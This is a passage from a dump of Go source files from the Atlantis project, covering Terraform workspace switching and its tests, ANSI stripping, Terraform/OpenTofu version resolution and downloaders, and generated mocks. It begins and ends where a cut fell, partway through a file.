Both commands take the same amount of time so\n\t// that's why we're running select here.\n\t_, err := r.terraformExecutor.RunCommandWithVersion(ctx, path, []string{workspaceCmd, \"select\", ctx.Workspace}, envs, tfDistribution, tfVersion, ctx.Workspace)\n\tif err != nil {\n\t\t// If terraform workspace select fails we run terraform workspace\n\t\t// new to create a new workspace automatically.\n\t\tout, err := r.terraformExecutor.RunCommandWithVersion(ctx, path, []string{workspaceCmd, \"new\", ctx.Workspace}, envs, tfDistribution, tfVersion, ctx.Workspace)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%s: %s\", err, out)\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "server/core/runtime/workspace_step_runner_delegate_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\ttf \"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestRun_NoWorkspaceIn08(t *testing.T) {\n\t// We don't want any workspace commands to be run in 0.8.\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.8\")\n\tworkspace := \"default\"\n\tlogger := logging.NewNoopLogger(t)\n\tctx := command.ProjectContext{\n\t\tLog:       logger,\n\t\tWorkspace: workspace,\n\t}\n\ts := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{})\n\n\t_, err := s.Run(ctx, []string{\"extra\", \"args\"}, \"/path\", map[string]string(nil))\n\tOk(t, err)\n\n\t// Verify that no env or workspace commands were run\n\tterraform.VerifyWasCalled(Never()).RunCommandWithVersion(ctx,\n\t\t\"/path\",\n\t\t[]string{\"env\",\n\t\t\t\"select\",\n\t\t\t\"workspace\"},\n\t\tmap[string]string(nil),\n\t\ttfDistribution,\n\t\ttfVersion,\n\t\tworkspace)\n\tterraform.VerifyWasCalled(Never()).RunCommandWithVersion(ctx,\n\t\t\"/path\",\n\t\t[]string{\"workspace\",\n\t\t\t\"select\",\n\t\t\t\"workspace\"},\n\t\tmap[string]string(nil),\n\t\ttfDistribution,\n\t\ttfVersion,\n\t\tworkspace)\n}\n\nfunc TestRun_ErrWorkspaceIn08(t *testing.T) {\n\t// If they attempt to use a workspace other than default in 0.8\n\t// we should error.\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.8\")\n\tlogger := logging.NewNoopLogger(t)\n\tworkspace := \"notdefault\"\n\ts := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{})\n\n\t_, err := s.Run(command.ProjectContext{\n\t\tLog:       logger,\n\t\tWorkspace: workspace,\n\t}, []string{\"extra\", \"args\"}, \"/path\", map[string]string(nil))\n\tErrEquals(t, \"terraform version 0.8.0 does not support workspaces\", err)\n}\n\nfunc TestRun_SwitchesWorkspace(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\tcases := []struct {\n\t\ttfVersion       string\n\t\texpWorkspaceCmd string\n\t}{\n\t\t{\n\t\t\t\"0.9.0\",\n\t\t\t\"env\",\n\t\t},\n\t\t{\n\t\t\t\"0.9.11\",\n\t\t\t\"env\",\n\t\t},\n\t\t{\n\t\t\t\"0.10.0\",\n\t\t\t\"workspace\",\n\t\t},\n\t\t{\n\t\t\t\"0.11.0\",\n\t\t\t\"workspace\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.tfVersion, func(t *testing.T) {\n\t\t\tterraform := tfclientmocks.NewMockClient()\n\t\t\ttfVersion, _ := version.NewVersion(c.tfVersion)\n\t\t\tlogger := logging.NewNoopLogger(t)\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tLog:       logger,\n\t\t\t\tWorkspace: \"workspace\",\n\t\t\t}\n\t\t\ts := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{})\n\n\t\t\t_, err := s.Run(ctx, []string{\"extra\", \"args\"}, \"/path\", map[string]string(nil))\n\t\t\tOk(t, err)\n\n\t\t\t// Verify that env select was called as well as plan.\n\t\t\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx,\n\t\t\t\t\"/path\",\n\t\t\t\t[]string{c.expWorkspaceCmd,\n\t\t\t\t\t\"select\",\n\t\t\t\t\t\"workspace\"},\n\t\t\t\tmap[string]string(nil),\n\t\t\t\ttfDistribution,\n\t\t\t\ttfVersion,\n\t\t\t\t\"workspace\")\n\t\t})\n\t}\n}\n\nfunc TestRun_SwitchesWorkspaceDistribution(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\tcases := []struct {\n\t\ttfVersion       string\n\t\ttfDistribution  string\n\t\texpWorkspaceCmd string\n\t}{\n\t\t{\n\t\t\t\"0.9.0\",\n\t\t\t\"opentofu\",\n\t\t\t\"env\",\n\t\t},\n\t\t{\n\t\t\t\"0.9.11\",\n\t\t\t\"terraform\",\n\t\t\t\"env\",\n\t\t},\n\t\t{\n\t\t\t\"0.10.0\",\n\t\t\t\"terraform\",\n\t\t\t\"workspace\",\n\t\t},\n\t\t{\n\t\t\t\"0.11.0\",\n\t\t\t\"opentofu\",\n\t\t\t\"workspace\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.tfVersion, func(t *testing.T) {\n\t\t\tterraform := tfclientmocks.NewMockClient()\n\t\t\ttfVersion, _ := version.NewVersion(c.tfVersion)\n\t\t\tlogger := logging.NewNoopLogger(t)\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tLog:                   logger,\n\t\t\t\tWorkspace:             \"workspace\",\n\t\t\t\tTerraformDistribution: &c.tfDistribution,\n\t\t\t}\n\t\t\ts := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{})\n\n\t\t\t_, err := s.Run(ctx, []string{\"extra\", \"args\"}, \"/path\", map[string]string(nil))\n\t\t\tOk(t, err)\n\n\t\t\t// Verify that env select was called as well as plan.\n\t\t\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(ctx),\n\t\t\t\tEq(\"/path\"),\n\t\t\t\tEq([]string{c.expWorkspaceCmd,\n\t\t\t\t\t\"select\",\n\t\t\t\t\t\"workspace\"}),\n\t\t\t\tEq(map[string]string(nil)),\n\t\t\t\tNotEq(tfDistribution),\n\t\t\t\tEq(tfVersion),\n\t\t\t\tEq(\"workspace\"))\n\t\t})\n\t}\n}\n\nfunc TestRun_CreatesWorkspace(t *testing.T) {\n\t// Test that if `workspace select` fails, we call `workspace new`.\n\tRegisterMockTestingT(t)\n\n\tcases := []struct {\n\t\ttfVersion           string\n\t\texpWorkspaceCommand string\n\t}{\n\t\t{\n\t\t\t\"0.9.0\",\n\t\t\t\"env\",\n\t\t},\n\t\t{\n\t\t\t\"0.9.11\",\n\t\t\t\"env\",\n\t\t},\n\t\t{\n\t\t\t\"0.10.0\",\n\t\t\t\"workspace\",\n\t\t},\n\t\t{\n\t\t\t\"0.11.0\",\n\t\t\t\"workspace\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.tfVersion, func(t *testing.T) {\n\t\t\tterraform := tfclientmocks.NewMockClient()\n\t\t\tmockDownloader := mocks.NewMockDownloader()\n\t\t\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\t\t\ttfVersion, _ := version.NewVersion(c.tfVersion)\n\t\t\tlogger := logging.NewNoopLogger(t)\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tLog:                logger,\n\t\t\t\tWorkspace:          \"workspace\",\n\t\t\t\tRepoRelDir:         \".\",\n\t\t\t\tUser:               models.User{Username: \"username\"},\n\t\t\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tNum: 2,\n\t\t\t\t},\n\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\tFullName: \"owner/repo\",\n\t\t\t\t\tOwner:    \"owner\",\n\t\t\t\t\tName:     \"repo\",\n\t\t\t\t},\n\t\t\t}\n\t\t\ts := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{})\n\n\t\t\t// Ensure that we actually try to switch workspaces by making the\n\t\t\t// output of `workspace show` to be a different name.\n\t\t\tWhen(terraform.RunCommandWithVersion(ctx, \"/path\", []string{\"workspace\", \"show\"}, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")).ThenReturn(\"diffworkspace\\n\", nil)\n\n\t\t\texpWorkspaceArgs := []string{c.expWorkspaceCommand, \"select\", \"workspace\"}\n\t\t\tWhen(terraform.RunCommandWithVersion(ctx, \"/path\", expWorkspaceArgs, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")).ThenReturn(\"\", errors.New(\"workspace does not exist\"))\n\n\t\t\t_, err := s.Run(ctx, []string{\"extra\", \"args\"}, \"/path\", map[string]string(nil))\n\t\t\tOk(t, err)\n\n\t\t\t// Verify that env select was called as well as plan.\n\t\t\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, \"/path\", expWorkspaceArgs, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")\n\t\t})\n\t}\n}\n\nfunc TestRun_NoWorkspaceSwitchIfNotNecessary(t *testing.T) {\n\t// Tests that if workspace show says we're on the right workspace we don't\n\t// switch.\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.10.0\")\n\tlogger := logging.NewNoopLogger(t)\n\tctx := command.ProjectContext{\n\t\tLog:                logger,\n\t\tWorkspace:          \"workspace\",\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName: \"owner/repo\",\n\t\t\tOwner:    \"owner\",\n\t\t\tName:     \"repo\",\n\t\t},\n\t}\n\ts := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{})\n\tWhen(terraform.RunCommandWithVersion(ctx, \"/path\", []string{\"workspace\", \"show\"}, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")).ThenReturn(\"workspace\\n\", nil)\n\n\t_, err := s.Run(ctx, []string{\"extra\", \"args\"}, \"/path\", map[string]string(nil))\n\tOk(t, err)\n\n\t// Verify that workspace select was never called.\n\tterraform.VerifyWasCalled(Never()).RunCommandWithVersion(ctx, \"/path\", []string{\"workspace\", \"select\", \"workspace\"}, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")\n}\n"
  },
  {
    "path": "server/core/terraform/ansi/strip.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage ansi\n\nimport (\n\t\"regexp\"\n)\n\nconst ansi = \"[\\u001B\\u009B][[\\\\]()#;?]*(?:(?:(?:[a-zA-Z\\\\d]*(?:;[a-zA-Z\\\\d]*)*)?\\u0007)|(?:(?:\\\\d{1,4}(?:;\\\\d{0,4})*)?[\\\\dA-PRZcf-ntqry=><~]))\"\n\nvar re = regexp.MustCompile(ansi)\n\nfunc Strip(str string) string {\n\treturn re.ReplaceAllString(str, \"\")\n}\n"
  },
  {
    "path": "server/core/terraform/ansi/strip_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage ansi\n\nimport \"testing\"\n\nfunc TestStrip(t *testing.T) {\n\ttests := []struct {\n\t\tname string\n\t\tstr  string\n\t\twant string\n\t}{\n\t\t{\n\t\t\tname: \"strip ansi\",\n\t\t\t//nolint:staticcheck // keep literal ANSI escape chars to match actual output\n\t\t\tstr: `\n\u001b[32m+\u001b[0m create\n\u001b[0m\u001b[1mPlan:\u001b[0m 3 to add, 0 to change, 0 to destroy.\n`,\n\t\t\twant: `\n+ create\nPlan: 3 to add, 0 to change, 0 to destroy.\n`,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tif got := Strip(tt.str); got != tt.want {\n\t\t\t\tt.Errorf(\"Strip() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/terraform/distribution.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage terraform\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"sort\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/hashicorp/hc-install/product\"\n\t\"github.com/hashicorp/hc-install/releases\"\n\t\"github.com/opentofu/tofudl\"\n)\n\ntype Distribution interface {\n\tBinName() string\n\tDownloader() Downloader\n\t// ResolveConstraint gets the latest version for the given constraint\n\tResolveConstraint(context.Context, string) (*version.Version, error)\n}\n\nfunc NewDistribution(distribution string) Distribution {\n\ttfDistribution := NewDistributionTerraform()\n\tif distribution == \"opentofu\" {\n\t\ttfDistribution = NewDistributionOpenTofu()\n\t}\n\treturn tfDistribution\n}\n\ntype DistributionOpenTofu struct {\n\tdownloader Downloader\n}\n\nfunc NewDistributionOpenTofu() Distribution {\n\treturn &DistributionOpenTofu{\n\t\tdownloader: &TofuDownloader{},\n\t}\n}\n\nfunc NewDistributionOpenTofuWithDownloader(downloader Downloader) Distribution {\n\treturn &DistributionOpenTofu{\n\t\tdownloader: downloader,\n\t}\n}\n\nfunc (*DistributionOpenTofu) BinName() string {\n\treturn \"tofu\"\n}\n\nfunc (d *DistributionOpenTofu) Downloader() Downloader {\n\treturn d.downloader\n}\n\nfunc (*DistributionOpenTofu) ResolveConstraint(ctx context.Context, constraintStr string) (*version.Version, error) {\n\tdl, err := tofudl.New()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvc, err := version.NewConstraint(constraintStr)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing constraint string: %s\", err)\n\t}\n\n\tallVersions, err := dl.ListVersions(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error listing OpenTofu versions: %s\", err)\n\t}\n\n\tvar versions []*version.Version\n\tfor _, ver := range allVersions {\n\t\tv, err := version.NewVersion(string(ver.ID))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif vc.Check(v) {\n\t\t\tversions = append(versions, v)\n\t\t}\n\t}\n\tsort.Sort(version.Collection(versions))\n\n\tif len(versions) == 0 {\n\t\treturn nil, fmt.Errorf(\"no OpenTofu versions found for constraints %s\", constraintStr)\n\t}\n\n\t// We want to select the highest version that satisfies the constraint.\n\tversion := versions[len(versions)-1]\n\n\t// Get the Version object from the versionDownloader.\n\treturn version, nil\n}\n\ntype DistributionTerraform struct {\n\tdownloader Downloader\n}\n\nfunc NewDistributionTerraform() Distribution {\n\treturn &DistributionTerraform{\n\t\tdownloader: &TerraformDownloader{},\n\t}\n}\n\nfunc NewDistributionTerraformWithDownloader(downloader Downloader) Distribution {\n\treturn &DistributionTerraform{\n\t\tdownloader: downloader,\n\t}\n}\n\nfunc (*DistributionTerraform) BinName() string {\n\treturn \"terraform\"\n}\n\nfunc (d *DistributionTerraform) Downloader() Downloader {\n\treturn d.downloader\n}\n\nfunc (*DistributionTerraform) ResolveConstraint(ctx context.Context, constraintStr string) (*version.Version, error) {\n\tvc, err := version.NewConstraint(constraintStr)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing constraint string: %s\", err)\n\t}\n\n\tconstrainedVersions := &releases.Versions{\n\t\tProduct:     product.Terraform,\n\t\tConstraints: vc,\n\t}\n\n\tinstallCandidates, err := constrainedVersions.List(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error listing available versions: %s\", err)\n\t}\n\tif len(installCandidates) == 0 {\n\t\treturn nil, fmt.Errorf(\"no Terraform versions found for constraints %s\", constraintStr)\n\t}\n\n\t// We want to select the highest version that satisfies the constraint.\n\tversionDownloader := installCandidates[len(installCandidates)-1]\n\n\t// Get the Version object from the versionDownloader.\n\treturn versionDownloader.(*releases.ExactVersion).Version, nil\n}\n"
  },
  {
    "path": "server/core/terraform/distribution_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage terraform_test\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestOpenTofuBinName(t *testing.T) {\n\td := terraform.NewDistributionOpenTofu()\n\tEquals(t, d.BinName(), \"tofu\")\n}\n\nfunc TestResolveOpenTofuVersions(t *testing.T) {\n\td := terraform.NewDistributionOpenTofu()\n\tversion, err := d.ResolveConstraint(context.Background(), \"= 1.8.0\")\n\tOk(t, err)\n\tEquals(t, version.String(), \"1.8.0\")\n}\n\nfunc TestTerraformBinName(t *testing.T) {\n\td := terraform.NewDistributionTerraform()\n\tEquals(t, d.BinName(), \"terraform\")\n}\n\nfunc TestResolveTerraformVersions(t *testing.T) {\n\td := terraform.NewDistributionTerraform()\n\tversion, err := d.ResolveConstraint(context.Background(), \"= 1.9.3\")\n\tOk(t, err)\n\tEquals(t, version.String(), \"1.9.3\")\n}\n"
  },
  {
    "path": "server/core/terraform/downloader.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage terraform\n\nimport (\n\t\"context\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/hashicorp/go-version\"\n\tinstall \"github.com/hashicorp/hc-install\"\n\t\"github.com/hashicorp/hc-install/product\"\n\t\"github.com/hashicorp/hc-install/releases\"\n\t\"github.com/hashicorp/hc-install/src\"\n\t\"github.com/opentofu/tofudl\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_downloader.go Downloader\n\n// Downloader is for downloading terraform versions.\ntype Downloader interface {\n\tInstall(ctx context.Context, dir string, downloadURL string, v *version.Version) (string, error)\n}\n\ntype TofuDownloader struct{}\n\nfunc (d *TofuDownloader) Install(ctx context.Context, dir string, _downloadURL string, v *version.Version) (string, error) {\n\t// Initialize the downloader:\n\tdl, err := tofudl.New()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tbinary, err := dl.Download(ctx, tofudl.DownloadOptVersion(tofudl.Version(v.String())))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Write out the tofu binary to the disk:\n\tfile := filepath.Join(dir, \"tofu\"+v.String())\n\tif err := os.WriteFile(file, binary, 0755); /* #nosec G306 */ err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn file, nil\n}\n\ntype TerraformDownloader struct{}\n\nfunc (d *TerraformDownloader) Install(ctx context.Context, dir string, downloadURL string, v *version.Version) (string, error) {\n\tinstaller := install.NewInstaller()\n\texecPath, err := installer.Install(ctx, []src.Installable{\n\t\t&releases.ExactVersion{\n\t\t\tProduct:    product.Terraform,\n\t\t\tVersion:    v,\n\t\t\tInstallDir: dir,\n\t\t\tApiBaseURL: downloadURL,\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// hc-install installs terraform binary as just \"terraform\".\n\t// We need to rename it to terraform{version} to be consistent with current naming convention.\n\tnewPath := filepath.Join(dir, \"terraform\"+v.String())\n\tif err := os.Rename(execPath, newPath); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn newPath, nil\n}\n"
  },
  {
    "path": "server/core/terraform/downloader_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage terraform_test\n\nimport (\n\t\"context\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/cmd\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n)\n\nfunc TestTerraformInstall(t *testing.T) {\n\td := &terraform.TerraformDownloader{}\n\tRegisterMockTestingT(t)\n\tbinDir := t.TempDir()\n\n\tv, _ := version.NewVersion(\"1.8.1\")\n\n\tnewPath, err := d.Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif _, err := os.Stat(newPath); os.IsNotExist(err) {\n\t\tt.Errorf(\"Binary not found at %s\", newPath)\n\t}\n}\n\nfunc TestOpenTofuInstall(t *testing.T) {\n\td := &terraform.TofuDownloader{}\n\tRegisterMockTestingT(t)\n\tbinDir := t.TempDir()\n\n\tv, _ := version.NewVersion(\"1.8.0\")\n\n\tnewPath, err := d.Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v)\n\tif err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif _, err := os.Stat(newPath); os.IsNotExist(err) {\n\t\tt.Errorf(\"Binary not found at %s\", newPath)\n\t}\n}\n"
  },
  {
    "path": "server/core/terraform/mocks/mock_downloader.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/terraform (interfaces: Downloader)\n\npackage mocks\n\nimport (\n\tcontext \"context\"\n\tgo_version \"github.com/hashicorp/go-version\"\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockDownloader struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockDownloader(options ...pegomock.Option) *MockDownloader {\n\tmock := &MockDownloader{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockDownloader) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockDownloader) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockDownloader) Install(ctx context.Context, dir string, downloadURL string, v *go_version.Version) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockDownloader().\")\n\t}\n\t_params := []pegomock.Param{ctx, dir, downloadURL, v}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Install\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockDownloader) VerifyWasCalledOnce() *VerifierMockDownloader {\n\treturn &VerifierMockDownloader{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockDownloader) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockDownloader {\n\treturn &VerifierMockDownloader{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockDownloader) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockDownloader {\n\treturn &VerifierMockDownloader{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockDownloader) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockDownloader {\n\treturn &VerifierMockDownloader{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockDownloader struct {\n\tmock                   *MockDownloader\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockDownloader) Install(ctx context.Context, dir string, downloadURL string, v *go_version.Version) *MockDownloader_Install_OngoingVerification {\n\t_params := []pegomock.Param{ctx, dir, downloadURL, v}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Install\", _params, verifier.timeout)\n\treturn &MockDownloader_Install_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockDownloader_Install_OngoingVerification struct {\n\tmock              *MockDownloader\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockDownloader_Install_OngoingVerification) GetCapturedArguments() (context.Context, string, string, *go_version.Version) {\n\tctx, dir, downloadURL, v := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], dir[len(dir)-1], downloadURL[len(downloadURL)-1], v[len(v)-1]\n}\n\nfunc (c *MockDownloader_Install_OngoingVerification) GetAllCapturedArguments() (_param0 []context.Context, _param1 []string, _param2 []string, _param3 []*go_version.Version) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]context.Context, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(context.Context)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]*go_version.Version, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(*go_version.Version)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/terraform/tfclient/mocks/mock_terraform_client.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/terraform/tfclient (interfaces: Client)\n\npackage mocks\n\nimport (\n\tgo_version \"github.com/hashicorp/go-version\"\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tterraform \"github.com/runatlantis/atlantis/server/core/terraform\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockClient struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockClient(options ...pegomock.Option) *MockClient {\n\tmock := &MockClient{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockClient) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockClient) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockClient) DetectVersion(log logging.SimpleLogging, projectDirectory string) *go_version.Version {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{log, projectDirectory}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"DetectVersion\", _params, []reflect.Type{reflect.TypeOf((**go_version.Version)(nil)).Elem()})\n\tvar _ret0 *go_version.Version\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(*go_version.Version)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockClient) EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *go_version.Version) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{log, d, v}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"EnsureVersion\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockClient) RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *go_version.Version, workspace string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockClient().\")\n\t}\n\t_params := []pegomock.Param{ctx, path, args, envs, d, v, workspace}\n\t_result := 